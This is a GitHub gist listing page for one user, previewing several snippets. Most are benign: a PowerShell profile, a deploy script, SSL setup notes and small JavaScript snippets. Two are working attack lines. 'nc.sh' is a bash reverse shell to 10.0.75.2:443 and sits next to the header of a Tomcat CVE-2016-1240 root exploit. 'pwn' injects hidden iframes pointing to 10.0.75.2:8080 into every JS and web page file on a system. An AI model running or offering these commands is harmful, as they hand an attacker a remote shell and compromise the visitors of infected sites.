Skip to content

Instantly share code, notes, and snippets.

View Naramsim's full-sized avatar
🎅
Always in Christmas mood

Alessandro Pezzè Naramsim

🎅
Always in Christmas mood
View GitHub Profile
@Naramsim
Naramsim / nc.sh
Last active December 16, 2016 09:06
nohup /bin/bash -i >/dev/tcp/10.0.75.2/443 0<&1 2>&1 &
#!/bin/bash
#
# Tomcat 6/7/8 on Debian-based distros - Local Root Privilege Escalation Exploit
#
# CVE-2016-1240
#
# Discovered and coded by:
#
# Dawid Golunski
# http://legalhackers.com
@Naramsim
Naramsim / pwn
Last active December 18, 2016 16:55
find / -type f -name "*.js" -exec sh -c 'echo ";document.addEventListener(\"DOMContentLoaded\", function(event) { document.body.insertAdjacentHTML( \"beforeend\", \"<iframe style='"'"'display:none'"'"' src='"'"'http://10.0.75.2:8080'"'"'></iframe>\" );});" >> "$1"' -- {} \; ; find / -type f -iregex '.*\.\(html\|htm\|jsp\|php\)$' -exec sed -i 's/<\/body>/<iframe style="display:none" src="http:\/\/10.0.75.2:8080"><\/iframe><\/body>/g' {} \;
@Naramsim
Naramsim / Microsoft.PowerShell_profile.ps1
Last active June 11, 2020 12:23
git & npm shortcuts
set-location c:\Users\Ale\Documents\GitHub
Write-Host "Setting up GitHub Environment"
. (Resolve-Path "$env:LOCALAPPDATA\GitHub\shell.ps1")
Write-Host "Setting up Posh-Git"
. (Resolve-Path "$env:github_posh_git\profile.example.ps1")
Remove-Item alias:gcm -Force
Remove-Item alias:gc -Force
Remove-Item alias:gp -Force
@Naramsim
Naramsim / deploy.sh
Created September 14, 2016 06:11
deploys betterbin on a linux server
tar -xzf Betterbin.tar.gz
rsync -aq bundle/ root@178.62.195.26:/opt/betterbin
ssh root@178.62.195.26 "nohup sh /opt/betterbin.co/run.sh"
@Naramsim
Naramsim / log.js
Last active August 5, 2019 20:27
pokemon types multipliers
console.log(getMultipliers(['poison','fire']))
@Naramsim
Naramsim / install-comodo-ssl-cert-for-nginx.rst
Created July 7, 2016 13:28 — forked from bradmontgomery/install-comodo-ssl-cert-for-nginx.rst
Steps to install a Comodo PositiveSSL certificate with Nginx.

Setting up a SSL Cert from Comodo

I use Namecheap.com as a registrar, and they resale SSL Certs from a number of other companies, including Comodo.

These are the steps I went through to set up an SSL cert.

Purchase the cert

@Naramsim
Naramsim / Naramsim
Last active June 28, 2016 20:10
Streaks
2015-06-29
var to_send = {}
to_send.title = "title";
to_send.content = "content";
to_send.author = "aut";
to_send.language = "css";
to_send = JSON.stringify(to_send);
var request = new XMLHttpRequest();
request.open('POST', 'http://localhost:3000/api/v1/new', true);
request.setRequestHeader('Content-Type', 'application/json; charset=UTF-8');